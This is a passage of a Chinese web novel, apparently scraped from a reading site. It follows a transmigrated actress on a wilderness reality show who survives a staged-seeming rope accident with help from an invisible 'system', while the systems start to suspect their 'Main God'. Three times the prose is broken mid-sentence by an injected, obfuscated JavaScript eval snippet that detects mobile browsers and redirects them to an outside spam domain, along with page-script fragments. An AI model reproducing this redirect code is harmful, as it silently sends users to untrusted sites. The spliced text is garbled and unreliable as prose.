“正好,我们这还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256909|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从海里捕捞上来的贝肉,可以熬一锅海鲜汤。”白枳边应声边把手中的砗磲递过去。 施彦注意到众人疑惑的神色,解释道:“我和白哥今天的任务就是到海里去找这个,碰巧遇到当地居民,就又学了点其他的捕捞技能,这才回来得晚一些。” 一阵忙活过后,大家捧着碗整齐地坐在火堆旁开始享用来之不易的晚餐。 同时,导演宣布明天的神秘嘉宾会来到苏昙和张柏弈这一组,作为今天第一个完成任务的奖励。 吃完饭,六人没什么其他事情,便开始你一句我一句闲聊。 秦泽等了半天,找到说话间隙,摸摸鼻子,缓缓开口道:“说实话,我录第一期的时候,以为这个综艺就是装装样子,不会那么认真,结果下了飞机才发现导演是认真的,大家也是认真的,只有我态度随便敷衍。在后面两天饿得发晕,情绪崩溃的时候,我甚至怀疑自己为什么要参加这样一个节目。” “但后面我慢慢发现,即使环境艰难,大家都依旧认真对待,彼此相助,特别是今天做任务的时候……苏雨虹和张老师的帮助。我意识到,之前抱着随意的态度录制是我不对。” 秦泽吸了一口气,接着说道:“以后大家有用的到我的地方,只管说,我一定去做!” ——谁也没想到,第一次录制的尴尬回忆被秦泽以一种真诚的方式坦白。 “嗐,这有什么。”楚舟珣今天和秦泽一组,先出了声,“我们都不在意的。” “咱们就是一个家庭,互帮互助都是应该的。”张柏弈笑着拍拍秦泽的肩膀。 白枳和施彦也摇头表示并没有往心里去。 “说来,我们都有在这个节目里成长,倒也是一次难忘的经历。” 苏昙忍不住感慨。 * 第二天,所有人都起了个大早,准备迎接神秘人。 等见到面的那一刻,节目组还没介绍,六人就忍不住欢呼雀跃起来—— 眼前的神秘人叫牛天韦,约摸35岁左右,是国内外都很有名的野外生存达人。早在几年前,他就跑遍全世界的荒野之地,一直进行各种野外探索,并凭借着其专业态度和探索精神获得多项国家荣誉。 有他的加入,哪怕只有一天,也足够学到很多有用的生存技巧。 按照昨天的任务结果,牛天韦会在苏昙和张柏弈这一组。至于其他人,导演表示,他们还有其他任务要完成。 这下,全部人都只能把希望放在苏昙两人身上,但愿他们能多学一点是一点。 告别营地,牛天韦三人乘船前往苏梅岛北边的帕岸岛。帕岸岛比苏梅岛略小,因为没有经过发展度假村的开发,游客算不上多。 下了船,牛天韦带着苏昙和张柏弈继续北上,不一会便走出细软的白沙滩,来到山上热带雨林的入口。 “来,把这个换上。”牛天韦从包里拿出两双橡胶雨鞋,递给身边两人,“雨林里免不了会有溪水,要是还穿着运动鞋,会很不方便。” 苏昙倒是很好奇,问道:“韦哥,你们是不是之前来过这里?感觉你对这里很熟悉。” “两年前和朋友来过一次,这次受节目组邀请,就又提前来着看了看情况。” 牛天伟想到了什么,提醒道:“我们穿越雨林的过程中,你们要负责找到散落在森林里的金叶子,只要找到至少六片,就能得到我的额外奖励。” “好!” “没问题!” 一听有奖励,苏昙和张柏弈马上打足精神,跟着牛天韦的步伐走进了雨林。 11. 世界一(11) 早上山里涌起浓雾,晨阳透过绿树间紧簇的缝隙洒在地上,形成碎金般的影子,越发把雨林衬得像仙境一样梦幻。 然而眼前的景象若隐若现,迫使三人不得不放慢速度,小心前行。 苏昙和张柏弈跟着牛天韦越过一个个横在路上的残树,来到隐没在树丛杂草中的一棵芭蕉树前。 牛天韦从包里掏出一把砍刀,科普道:“如果在野外非常口渴,可以砍芭蕉树解渴。它的汁水有一股淡淡的黄瓜味,挺好喝的。” 他边说边动作,麻利地拦腰砍倒。 张柏弈有些担忧:“但是这样干脆砍树……会不会……?” 听闻,牛天韦发出爽朗的笑声,抬头解释道:“只要不破坏它的根部,是没事的。” 原本木桶粗的芭蕉树被削掉皮,露出里面雪白的芯,表层隐隐浮现饱满的汁液。 “喏,尝尝。” 苏昙接过被削成手指粗细的一小段芭蕉,先挤出其中的汁水喝掉,又把剩下的放进嘴里咀嚼。 “有点像在嚼笋诶。” 张柏弈也在一旁点头赞同:“还挺好吃的。” 牛天韦收拾好工具,继续往前走:“芭蕉里富含的营养很多,可以作为野外的能量供应。” “不过,它一旦被去掉树皮,在空气里会很快氧化——而且,只有最里面的芯才可食用。”他补充道。 不知不觉,雨林中雾气散去。随着太阳东移,林子里渐渐热起来。 身处在静谧的环境,感知便会被无限放大。张柏弈首先察觉到周围似乎传来什么声响,低声询问身边两人。 苏昙静静听了一会,发现确实一直有熙熙祟祟的声音。 “我去那边看一看。”她用登山杖拨开周围的草丛,朝声音来源方向走去。 由于目光被转移,苏昙和张柏弈都没注意牛天韦脸上隐忍不言的神色。 “这是……鸡吗?”苏昙指着在地上专注啄食的动物,发出疑问。 牛天韦点头:“这些都是山上居民养的散鸡……” “你们看那只鸡的毛里!插的好像是我们要找的金树叶!” 苏昙兴奋地盯紧离自己三四米远,背对着她的一只鸡,轻声告诉张柏弈牛天韦两人。 牛天韦像是早就知道似的,没有像那两人一样惊喜,但也依然笑着鼓励道:“行,那你们加油吧!” 张柏弈小时候有捉鸡的经验,他告诉苏昙,可以先慢慢靠近鸡群,让鸡适应自己的存在,再出其不意抓住它的腿或翅膀,不让其有机会逃走。 两人快速商量过后,决定苏昙就在附近原地伺机而动,而张柏弈绕到鸡群后面拦截。 第一次,苏昙动作太猛,不小心惊动了目标,目标又惊动鸡群,带着所有鸡开始扑腾翅膀,场面一度混乱,好一会才恢复平静。 原本苏昙有些懊恼,突然,她观察到什么,走到张柏弈身边,“要不……咱们赶鸡?你看,那片金叶子都快从鸡身上抖下来了。” 张柏弈定睛一看,还真是这样。他心觉可行,立刻同意。 不一会,两人就顺利拿到金叶子。 等走到半山腰,苏昙和张柏弈已经找到了四片,收集还算得上顺利,但肚子早已饿得咕咕叫。 苏昙看见牛天韦自顾自拿出面包和午餐肉开始享用,馋的直流口水。 “想吃?那你们可就要加油喽!” 牛天韦旁若无人地大口炫完,拍拍手满足地往前走。 “等一下!”张柏弈喊住他,举起手里一个发芽的椰子,问道,“这种椰子还能吃吗?” 牛天韦转过身,看清张柏弈手里的东西,很快回答:“你很会找啊!这种变老的椰子叫‘椰宝’,可以吃。” 得到肯定后,张柏弈把椰子一分为二,和苏昙一起分食。令人意外的口感是,发了芽的椰子胚吃起来有点像在嚼蓬松的海绵,不过依然有着浓浓的椰香味。 待饥饿感稍稍缓解,三人继续穿越雨林。林子很密,幸好有牛天韦带着,才不至于迷路。 很快,眼前的视野逐渐变得开阔,不远处出现一座小木屋,虽然不大,但结构完整。 房子分有上下两层,上层的平台上摆放着一些花瓶和桌椅,证明有人在这里生活。几个小孩推开门从屋里跑出来,说着本土的语言嬉笑打闹。 此刻,苏昙一行人正站在坡顶,左右两边都被树木草丛阻挡,中间又横着一块接一块的巨石,如何过去成了问题。 “这里。” 牛天韦拉过来一条高系在树头的结实粗壮的绳索,绑到自己腰间,先荡个来回给另外两人示范了一遍。 他说:“你们放心,我们已经检查过,绳索很安全,这里的居民都是这样荡过去的。” “你们俩学着我的动作,两手抓紧绳子,双腿用力往前够,相信自己,一下就能成功。” 其实,牛天韦荡的距离并不算远,大概有五米,只需要越过石头落到那边的台子上就行。但高度,少说也有十米。 “我先来吧,壮壮胆。” 绳子只有一条,张柏弈第一个站出来。 另一边,苏昙却沉默下来。 她恐高。 尽管来到这个世界,穿到别人的身体,可她只要站在高的地方,也依然本能地恐惧。 哪怕她表面上波澜不惊,心里早已掀起狂风骇浪。 眼看张柏弈已顺利过去,绳子被收回这边,苏昙饶是再抗拒,也不得不开始行动。 她头脑发晕,脚步虚浮地走到牛天韦旁边,任命地绑起绳索。 “没事的没事的,只是咬咬牙闭眼荡过去,一秒的事。”她心里默默安慰道。 直到绳索突然脱离的那一刻。 “——啊!” 由于一瞬间失重,苏昙下意识叫出声,脑海里只剩下一个念头:完蛋了…… 可她的身体,既没撞上坚硬的石块,也没磕到崎岖不平的山地,而是被一股无形的力量承托住。那股力量护着苏昙的头,在滚动中将身体的方向带向旁边,利用巨石的高度挡住了其他人的视线。 奇怪的是,苏昙并没看到身下有人,耳边却听见一声吃痛闷哼,是她再熟悉不过的音色。 她睁开眼,没看到预料中的那人的身影。 “也对,他就是个系统,有没有人形还不一定呢。” 此刻苏昙脑袋里一团乱麻,心里被恐惧和惊慌占据,思路毫无逻辑。 “雨虹!雨虹?!” “你受伤了吗?!” 山上面不断传来嘈杂的人声,无奈坡度太陡,众人没办法一下子下来,急得团团转。 过了几分钟,附近道具组的人赶来,导演和医生才拿到绳子下来查看。 “我先走了。” 苏昙被001绅士地扶起,然后他眨眼间消失不见。 苏昙:“你没……” “快快快!雨虹在这!”下来的人发现苏昙正一动不动站在巨石后面,神情凝滞,赶忙来到她身边查看情况。 苏昙回过神来:“我没事。” 几个医生轮番检查过后,确定她身体状况确实无碍,但他们心里逐渐充满了难以置信。 这可是十米高的地方,地上还都是石头和树枝,人从空中掉下来,就算不死,至少也不可避免会骨折,但她身上除了大大小小的擦伤,竟然查不出任何问题。 这时,总导演陈导也来到苏昙身边,指着周围的一群工作人员,勃然大怒道:“道具组怎么检查的绳索?!” “陈导,我们在录制之前一起和当地居民反复确认沟通了很多遍,绳索绝对没问题!”道具组的组长忙不迭站出来解释,“而且在之前,牛老师和张老师也都使用过,都没出现事故。” 陈导:“那为什么偏偏在苏雨虹要用的时候出了事!?” 众人无解,沉默下来。 苏昙观察着医生们脸上的惊疑表情,导演难掩的担忧神色,还有上面张柏弈和牛天韦等人焦急的动作,面上也不自知地冷了几分。 为什么绳索脱离的时机这么巧,偏偏在轮到她的时候出了问题? 与节目组合作这么长时间下来,苏昙清楚导演对这档综艺的用心之深。 虽然导演大部分时候都不近人情,但这些也是合同里约定好的,嘉宾们刚开始确实有过抱怨争吵,不过理解。况且,节目组对所有环节事无巨细,所有人都是这样一起在野外生活了这么长时间,工作人员的辛苦付出大家都看在眼里。 那还会是怎么回事?难道真的就是自己今天好巧不巧用了一个有问题的绳索,问题还恰好出在她的身上? 苏昙想不明白。 陈导双手合十,向苏昙道歉:“实在对不起啊雨虹,这是节目组的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256910|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疏忽,我代表整个节目组向你道歉。我们会马上通知你的经纪人和家属,后面我们该怎么赔偿调查,一切都按照合同公开透明地来,你看……怎么样?” 录制摊上这种不明不白的事,陈导只能自认倒霉,希望艺人千万要大事化小,小事化了。 苏昙也不想把事情闹得那么大,既然现在人没事,私下解决更好。 “好,后续保持联系吧。”她点点头,脸上没什么表情。 由于这里的突发状况,导演组紧急采取策划好的第二个方案,领着一行人走山坡背面的一条小路下去,又围着山绕了半圈才走出去。 当然,苏昙和张柏弈还是坚持找齐了六片金树叶。 * 001用自己的力量接着苏昙撞到巨石上,即使他没有以人形没出现,依旧需要长时间的恢复。他背部撞到石头,现在正火辣辣地钝痛。 歇到一半,001突然想到什么,又立刻动身去了虚空之境里专门存放曾经宿主卷宗的档案室。 …… 三小时后。 001:“看看这个。” 他把手中的资料递给坐在对面的131。 “这是什么?”131接过资料,越瞧越觉得不太对劲。 131:“!你在调查主神?” “嘘。”001提醒131降低音量,“看完这个,你难道不觉得主神有问题吗?” “仔细想想,自从我们成为系统,主神把一个又一个宿主送到这里,要求他们不再躺平摆烂,而我们则负责监督宿主们。但你有没有发现,这么长时间里,没有一个成功的宿主。” 131有些不太明白:“什么意思?” “我们只负责一小部分宿主,很难知道全貌。”001没有正面回答,他指指资料,“那些都是曾经宿主改造失败的案例。表面上看,大部分失败原因和宿主自身脱不开关系。但仔细想,其实还有一个关键节点起了决定性作用。” 131再次低头看了看手里的档案,片刻后,猛地抬头看向001,几乎脱口而出:“是意外?!这些失败的宿主都经历过一次致命的意外!” “没错。”001露出了然神色,“还有,一直以来,主神对这些失败的案例毫不过问。究竟是祂不关心,还是故意忽略?这些宿主的失败恐怕不是偶然发生,而是早有预谋。” 001接着说:“既然401给我们开了个头,那不如将计就计,搞清楚这些意外和宿主的失败到底是因为什么。” 131看着他,有些迟疑道:“……你是不是还没放下谷晨的事情?” “是。” “可……你不怕吗?” “我感知不到那么多情绪。” “……” 131哑声。也是,不怕就无所畏惧。 001作为系统,除了主导的保护性格,本没有那么多情感体验,多亏了百十年的工作阅历才能让他同宿主正常交流。 其他的子系统也都是这样。 001沉默半晌,说道:“我们是子系统,不是祂的工具。” “你说的对,我和你一起。”131很快决定。 001是他的好朋友,在可控范围内尽最大限度地帮助朋友,是他生来就擅长的事情。 “好,401那边交给我。他没再做什么吧?”001问。 “没有,都挺正常——而且,咱俩之间,用不着这么客气,以前的交情你兄弟我永远不会忘。只要我在你身边一天……#¥&$##……” 131一不小心没控制住,又流露出真情实感。 只是煽情到一半,就被001忍无可忍打断:“还有一件事。我受伤了,需要休息。” “那你好好休息。” 131早就看出来001在强撑身体,此刻额头都开始冒出冷汗。 “……只是苏昙那边可能要麻烦你,帮我带两天。” “交给我。”131爽快道,“对她有什么要注意的吗?” “她……没什么不好相处的。”001想了想,“不过我觉得她有些奇怪,总能让我产生一些陌生的感受。你要小心一点。” 131立刻听了进去:“放心,我都带过那么多宿主了,什么样的没见过,交给我好了。” 001谢道:“时间不长,两三天就行。辛苦。” 12. 世界一(12) 苏昙等人回到营地,不由被眼前的景象深深惊住。 大家睡觉用的篷帐明显变得更加牢固结实;营地附近的杂物都被整理归类,空间一下子宽敞不少;火堆旁甚至多出几个用树枝做的,简易但方便的烤架和小桌子,用来放食物和枝条削成的筷子。 “天哪……这些不会都是你们做的吧?!”苏昙欣喜道。 张柏弈也忍不住赞叹:“真的太有心了。” 原本还坐着等待的其他人看到另外两人终于回来,赶紧站起来迎接。 楚舟珣一眼注意道苏昙胳膊和腿上的伤口:“雨虹,你怎么受伤了?!” “没事,待会闲了再和你细讲。不过白枳和秦泽哪去了?” “他俩去那边树林里找吃的去了,已经有一会,估计马上就会回来。”楚舟珣解释道。 苏昙点点头,突然想起身边还有一个人,她转身问牛天韦,眼神中流出些许期待:“我和张老师的奖励?” “记着呢。”牛天韦不急不慢从背包里掏出一套潜水服。 “这是要下海吗?可是已经快要傍晚了。”张柏弈抬头看了看天色。 牛天韦没有停下动作,反而扬起轻松的笑:“就是要晚上去才好。说好的奖励,你们等我回来。” 另一边,楚舟珣拉住苏昙,询问起伤口的由来。 “你真的没事吗?” “真的没事。”苏昙看着她关切的模样,怕她不信,还特意来回蹦跳几圈。 “那就好。你们到底做的什么任务,为什么只有你受伤了?” 苏昙心想,这还真是个好问题,她也很想知道为什么。 她给楚舟珣简单叙述了在帕岸岛上的经历。剩下的,就留给导演组出面解释。 当然,有关001的部分,苏昙就模糊省略掉,只说可能因为自己福大命大,才没落得更严重的伤。 楚舟珣听后,震惊得半天没说出话。 “雨虹你……可真是、福大命大啊……”楚舟珣竟也体会到一种劫后余生的恍惚。 苏昙对楚舟珣回了一个尴尬不失礼貌的微笑:“谁说不是呢。” “——聊什么呢!” 白枳清亮的声音远远传来。 “你们回来了!”苏昙看见他,如同见到救星,赶紧转移话题,“让我来看看收获怎么样!” “看吧看吧,保准震惊你们。” 白枳和秦泽把手里的东西一一摆到地上:山螃蟹,菠萝蜜,野芭蕉,还有常见的椰子。 “能采到这些吃的可不容易,多亏了秦泽帮忙!”白枳揽住身旁那人的肩膀。 秦泽不好意思地笑笑,露出些许赧意:“没什么,都是应该的。” “行啦行啦,接下来该做什么?烤螃蟹吗?”楚舟珣蹲下来挑拣。 “不烤,得煮。”秦泽答道,“山上的螃蟹肉少,烤了也吃不到什么,煮成汤反而更鲜。” 收到他的指令,大家迅速支起一口锅,开始烧水。 苏昙找到空闲,鬼鬼祟祟走到一旁,抱起自己的包,撑开给站在身边的张柏弈看。 “——你这” “嘘。”苏昙还以为没被镜头发现,赶紧对他做了一个噤声的手势,哪知自己的小动作早全部被录进去。 “不是,你也带了调料?”张柏弈小声询问,语气中透出意外,“我也偷偷装了一些……甚至还带了点葱姜……” 苏昙对上他的目光,几秒后,两人都没憋住,同时笑出声。 一旁的工作人员:“……” 算了,当没看到吧,说不定一会还能蹭一口。 不一会,水变得沸腾,张柏弈在大家的掩护下,颇为心虚地加入各种调料酱汁做汤。待浓汤的香味飘出,最后他把所有洗净处理好的螃蟹放进去。 就在汤快要大功告成时,牛天韦满载而归。 “好香!你们在熬汤?” “是啊,快来尝尝味道。”苏昙过去招呼道。 “稍等。”牛天韦并不着急过去,他把手里提溜的各种海鲜放到桌台上,开始去鳞剔骨处理。 “这些鱼是你和张柏弈的奖励,至于怎么使用,你们来决定,我就只负责加工一下。”他嘴上和苏昙说着话,丝毫不影响手上的娴熟。 而苏昙早在他离开捕鱼前,就已和张柏弈商量好——如果能得到额外奖励,大家就一起吃。 原因无他,只因他们是一个集体,每个人都做出不比他人少的努力。在她和张柏弈不在的时间里,其他人也一样用心负责地建设守护营地。这些成果,没道理不共享。 牛天韦得知她的想法,点头表示知晓。 没多久,螃蟹汤完美出锅,紧接着弹嫩爽滑的鱼肉被放入。牛天韦一边搅动勺子,一边向众人介绍:“这是石斑鱼,这是比目鱼,这是砗磲。” “砗磲?”施彦听到这个熟悉的名字,说道,“昨天我和白枳哥的任务就是找到它。当时还要多亏了这的原住居民,才顺利捕捞到。” “不过这种海鲜真的难找,没想到今晚又能一饱口福。”施彦兴奋地说。 在等待鱼汤的同时,张柏弈欲动又止把手伸进背包的行为再次引起导演的注意。 “呃张老师……要不你光明正大地做?”分组导演不好意思点出。 张柏弈听闻,立刻不装了,干脆掏出所有瓶瓶罐罐,调配起蘸酱汁。 毫无疑问,今天的晚餐每个人都吃的很餍足——包括工作人员——他们坚决秉持见者有份的态度,而苏昙和张柏弈作为同谋,不得不分出一部分食物。好在牛天韦捕得够多,也还够吃。 …… 夜幕不知不觉降临海岛,苏昙简单收拾好,提前钻进篷帐,在里面等待的医生上前给她身上的伤口换药。 伤口传来的痛感,提醒苏昙白天发生的一切都是事实。 不知为何,她脑袋里回想起白天001出现的那一幕。 苏昙放下手里的棉签,试探道:“001?” 很快,一个声音响起,但听着陌生。 “原来你就是苏昙。” “你是谁?”苏昙疑惑道。 “我?我是001的同事兼好哥们,也是个系统。”131没有半点陌生人之间交流的尴尬,反倒是个自来熟的性格。 “001呢?” “001他……受了点伤暂时过不来,你应该能猜到吧。” 苏昙神情微动,点头问道:“是他让你来的?他还好吧?” “还好。001让我过来告诉你一声,他的身体两三天才能恢复。这几天,你这边由我交接。” “这就……没了?” “没了。” 苏昙还以为001会让他的好兄弟解释一下今天下午的事情。 “还真是他的做事风格。”她小声嘀咕。 “你说什么?” 苏昙回过神,准备和这位好兄弟聊个五毛钱的,“我说,你叫什么名字?002?003?” “我没有被创造的那么早,我叫131。” “感情你们的名字就是你们的出生顺序?” 苏昙没想到他们主神真的连取名字都这么敷衍。 131并不否定,他顺着苏昙的话说下去:“你可以这么认为。001在我被创造出之前就已经存在,关于系统的好多事情都是他教我的。” “所以,你现在要有百岁了吧?!那他不就更——”苏昙重点完全跑偏,不知想到了哪里。 131似乎很看重年龄,慌忙解释,话里还带上些骄傲:“我们系统和你们不一样,我们就算年纪再大,容貌也不会改变。” 苏昙试探道:“那性格呢?001一直都是这样的性格吗?不近人情,还……冷淡。” “才不是呢!”131急了。 苏昙挑眉:“但我看,他对所有宿主都是一个样子。” “那是你不知道他之前都发生过什么!” 苏昙确实不知道,她没怎么和001聊过天,即没聊过自己,也没聊过他。 131正欲往下说,又突然噤声。 “怎么了?”苏昙疑惑。 “没什么。”131顿了顿,捡了个可以说的,“你有所不知,我们子系统被主神赋予了不同的性格,每个系统的主导性格会很大程度决定他们的行事风格。而001的主导性格就是保护他人。否则,他不会在一开始就请原主帮你,更不会在今天出手救你。” 苏昙愣住。她第一次听说性格还能被人为创造。 “还有,”001似是要为自己的好兄弟宣泄不满,“子系统们感知不到那么多情绪和感情,他能为你做到这种程度就已经很仁义至尽,作为宿主你要懂得知足。” “……”苏昙没想到只是五毛钱的聊天,信息量如此丰富,“所以你的意思是,他还是个善良负责还热心的系统?” “当然!最重要的是,他作为最早的系统,比我们都要强。” 131似是回忆起什么,发出一连串感叹词。 苏昙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256911|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默默在心里打了个问号。既然那么强,他又怎么会一次次受伤?还都是……为了她。 作为一个普通人,这都要算得上救命之恩。真的至于为了她一个不相干的宿主做到这种地步吗。 131:“总之,001就是一个很好的系统。” “……” 苏昙本以为能再听到什么有用的信息,哪知对方却是个三句不离偶像的脑残粉,星星眼里都是正主。 她撇撇嘴:“……知道了,你就是001的头号大粉。” “你说什么呢!”眼看131又要和苏昙急眼。 苏昙装模做样地掏掏耳朵,把131打发走:“诶呀我要休息,难不成你想和我一起睡觉?” “你!”131说不过她,只能骂骂咧咧地离开,决定回去要好好跟001批判一下这个口不择言的宿主。 “……好了。最近几天伤口尽量少碰水,定时换纱布,做好清洁和消毒。”医生结束手头的工作,嘱咐苏昙。 苏昙:“嗯,多谢。” 131趁着两人说话空隙离开。苏昙躺下来,心里的疑问依然未减。 要是001今天下午没及时出现,她意外死亡,最后会发生什么?她真的……会死吗? * 录制第三天。 按照计划,今天六位嘉宾要跟着牛天韦上船海钓。 因为中午时候海面又热又晒,商量过后,节目组便把海钓时间定在了日落前后。 牛天韦提前向众人讲解了海钓的关键步骤,上船后六人分成两组,苏昙、施彦、秦泽一组,其余人一组。 苏昙长这么大还从没体验过海钓,早早就兴奋起来,身体的疲惫都减轻许多。 可惜她高兴得太早,到船上才发现,原来自己竟然晕船,一路上吐个不停。本来一天也没吃多少东西,现在又吐不出来,难受得她直流眼泪。 好在船上还有不少同病相怜的‘难兄难妹’陪伴。她和楚舟珣靠在一起闭目缓神,旁边白枳和施彦的脸色苍白,只有张柏弈和秦泽神色自如,已经开始学习海钓知识。 导演最后不忍看到他们这么难受,拿出早就准备好的酸梅干,每人分了几个。 苏昙嚼着梅干,又虚吐过几轮后,终于感觉好点,慢慢适应海上颠簸,在牛天韦的帮助下,和秦泽一起研究。 不一会,鱼钩入海。 接着是静静等待。 …… “上钩了!”秦泽感觉手里的鱼竿一沉,激动道。 他飞速收线,但没多久钩子被卡住,怎么拽也拽不上来。 “这是怎么回事啊?”苏昙在一旁看得一头雾水,询问同样在观察的牛天韦。 “你们这是‘挂底’了,”牛天韦拿走秦泽手中的鱼竿,“所以饵会拉不上来。这种情况,可以试试‘一拉二弹三走走’。” 牛天韦拉住鱼竿上的鱼线,待到线和杆子之间形成弧度,立刻松手轻轻抖动。 “出来了出来了!”大家都围上来,看到这一幕。 牛天韦迅速收杆,接着说道:“如果还不行的话,那只能把线剪断了。” ——晕船的另外三人陆陆续续缓过来,纷纷加入海钓队伍。 多亏有牛天韦和船上其他专业人士的帮助,大家即使是第一次,也算得上顺利。 夕阳不知不觉藏进海平线,直到最后一点余辉都消失殆尽。最后,第一组钓上一只金鲳,两只石斑鱼;第二组钓上来一只红绸鱼、三只带鱼。 眼看海上风浪渐渐变大,导演不敢让嘉宾们多耽误时间,看大家有所收获后,便驶船返回。 回程路上,来时晕船的苏昙四人此刻又紧紧依偎在一起,嚼啊嚼着酸梅干,努力平复胃里的翻江倒海。 …… 船终于靠岸。 今晚掌厨的依旧是张柏弈,其他人则在一旁打下手。 饭后,导演把大家集中在一起,神秘透露出后面几期的录制内容。 “相信你们一直呆在同一个岛上也会厌烦,所以节目组商量之后,决定下期换一个地点。” “?!” “去哪啊?”众人惊喜问道。 “暂时保密。” “……” 导演笑了笑:“等到衍生综艺录制的时候会说,现在只是提前告诉你们一下。” “算了算了没意思,睡觉去,累死了。” 不知道谁提了一句,大家听到后纷纷赞同,陆续钻进帐篷,结束二次录制的最后一天。 13. 世界一(13) 回国之后,苏昙按部就班地拍完衍生综艺,其他时间一直宅在家里。 中间田霞实在放心不下,专门提着大包小罐的补品,跑过来看望自己受伤的女儿,直到苏昙一次次向她保证不会再让自己受伤,田霞才答应回去。 苏昙又试着给现实世界的家里打了几次电话,结果还是一样——无人接听。 几次都是失败,她在回家这件事上反而逐渐变得佛系,毕竟一时半会也回不去,急有什么用。 早在刚来这时,她就听001说过,在自己穿来的那一刻,现实世界的时间便会定格。如果能完成任务回去,那对于现实世界来说,只是过了一瞬;如果选择不回去,那自己的痕迹将永远在现实世界抹去。 苏昙躺在床上,难得感觉还是忙点好啊,忙点就不会像现在这样想家。伤感到一半,手机电话铃突兀响起,打破房间里略显低沉的气氛。 “喂,菁姐。” “睡了?” “没呢。” “我就是和你说一声,导演不是说要调查上一次的录制意外,请了专业的检查工程师去看,咱们的人也去了现场,结果证明绳索就是没有任何问题。我刚才已经把检查报告发给你了。” “好。”苏昙打开聊天界面,浏览菁姐发来的证明,“那节目组打算怎么办?” “导演说,如果你同意的话,节目组答应赔偿所有的医疗费和误工费,同时再赔偿十万精神损失费。要我说,咱们就应该好好找找节目组的问题。也就是你,非不想把事情抬到明面。” “我这不是好好的?这件事就到此为止吧。” 苏昙总觉得意外的关键不在绳索的问题,但更具体的,她也说不清楚。 “行吧。”菁姐想到什么,又道,“对了,你等会有事吗?” “没有。怎么?” “那刚好。《四海为家》今天晚上第一期播出,你要是闲了,可以看看播出效果。” “好。” 苏昙挂掉电话,果然在某视频app主页上看到自己的综艺。本来她没什么兴趣,却瞄到到视频的封面用的正是他们六人的合照。苏昙盯着封面看了一会,还是点了进去。 [啊啊啊终于等到我的施彦宝贝了!] [楚楚动人,非同‘珣''常!舟珣舟珣我来啦!] [我来啦!!这可是雨虹的第一个综艺,必须支持!] [秦泽大帅哥最帅不支持反对!(星星眼)] [张柏弈老师有在岛上做饭吗?期待哈哈哈哈!] [白枳白枳!独树一帜!!!] [……] 刚点进来,一波接一波热情疯狂的弹幕涌向苏昙。 正片开始前,是各位嘉宾的上岛前采访,苏昙没想到她竟然被剪在了第一个出场。 还没做好心理准备,苏昙就猝不及防看到一张陌生又熟悉的脸,面庞上还带有未褪去的紧张神色。 主持人:“嗨,雨虹!感觉自己首次进岛前做的准备怎么样?简单说两句?” 镜头里的苏雨虹思考了一会,说道:“……准备白手起家?和伙伴们一起脱贫致富,实现‘荒岛版''小康生活?” [噗哈哈哈哈我家雨虹什么时候学会冷幽默了哈哈哈!] [有意思!狠狠期待住了哈哈哈!] [哈哈哈哈苏雨虹是懂回答的!] [哈哈哈原来苏雨虹私下是这种性格吗?] 苏昙看到飘过的弹幕,后知后觉意识到:苏雨虹根本不会这样说话,粉丝们不会发现她家正主不对劲吧? 所幸,粉丝只是把发言风格当成偶像私下的性格,甚至还有些小兴奋。 第一期分为上下两部分,今晚放出的只有前面一半,刚好到自己和楚舟珣成功生出火的地方。 苏昙最后看着弹幕对秦泽的风评逐渐转变,心里几乎能预料到今晚他可以喜提多少个黑热搜。 当然,这些都不是她该关心的。她要关心的,是明天和赵默的见面。 * “001!你要是好了就自己去苏昙那,她那个人真是怪得很,还嫌我话多事多?反正我绝对不会再去了!” 131看着淡定喝茶的001,满腔牢骚没地方发泄,一股脑全冲他涌了出来。 “恐怕不行。”001慢悠悠地开口。 “为什么?!” “401过两天要见新宿主,我是他的对接方。” 131有些吃惊,没想到001这么快就要去见401,敛色道:“你真的准备好了?一旦开始,就要做好最坏的打算。” 001轻轻“嗯”了一声。 “行。那还需要我做什么吗?” 001慢慢弯起眉眼,看着131:“有啊,苏昙那边暂时——” “……我看你是早恢复了吧!”131就知道他一笑准没好事,立刻跳脚,“也是,我都忘了你可是有长达一百八十八年、摸爬滚打的工作经验,一点小伤对你来说可不是什么大事,是吧。” 131刻意加重了“一百八十八”。 “怪不得连苏昙都嫌你话多。”001揉揉耳朵,忽略131的暗讽,“多好的增加工作经验的机会。” “……” 131无力反驳,他竟不知001什么时候和苏昙一样,喜欢嘴巴淬毒,只管一通输出。究竟是近朱者赤,还是近墨者黑? 他越想越气,干脆扭头离开。 “别忘了和我汇报你那边的情况,辛苦了……” 001的声音从后面悠悠飘过来。 * “苏雨虹?” 